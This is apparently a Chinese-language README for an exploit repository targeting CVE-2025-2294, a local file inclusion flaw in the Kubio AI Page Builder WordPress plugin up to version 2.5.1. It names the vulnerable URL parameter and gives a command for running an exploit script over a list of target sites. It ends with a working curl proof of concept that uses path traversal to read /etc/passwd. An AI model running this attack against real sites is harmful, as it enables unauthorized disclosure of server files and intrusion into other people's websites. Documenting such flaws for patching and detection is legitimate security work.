CVE-2025-2294

🚨 CVE-2025-2294 - WordPress 的 Kubio AI 页面构建器中的本地文件包含（LFI）漏洞 🧱

🔍 概述

CVE-2025-2294 是一个严重的 🔥 本地文件包含（LFI）漏洞，影响 WordPress 的 Kubio AI 页面构建器插件（版本 2.5.1 及以下）。该漏洞允许未经认证的远程攻击者 👾 通过 __kubio-site-edit-iframe-classic-template URL 参数包含服务器上的任意文件。

利用此漏洞可能导致敏感文件泄露 📂、远程代码执行 💥 以及完全系统入侵 💀。

👤 作者

Muhammad Nizar — 安全研究员 🔐
GitHub: 0xWhoami35
YouTube: InfoSec Insight ▶️

如有问题或希望合作，欢迎联系！🤝

📋 受影响版本

• Kubio AI 页面构建器插件 ≤ 2.5.1 🛠️

🧰 使用方法

使用目标 URL 列表运行漏洞利用脚本：

python3 lfi.py -l list.txt

⚠️ 漏洞详情

• 类型： 本地文件包含（LFI）🕳️
• 严重性： 严重（CVSS 9.8）🔥
• 攻击向量： 远程、未经认证 🌐
• 影响： 保密性、完整性、可用性 🔐

🧪 概念验证（PoC）

curl "https://target-website.com/?__kubio-site-edit-iframe-preview=true&__kubio-site-edit-iframe-classic-template=../../../../../../../etc/passwd"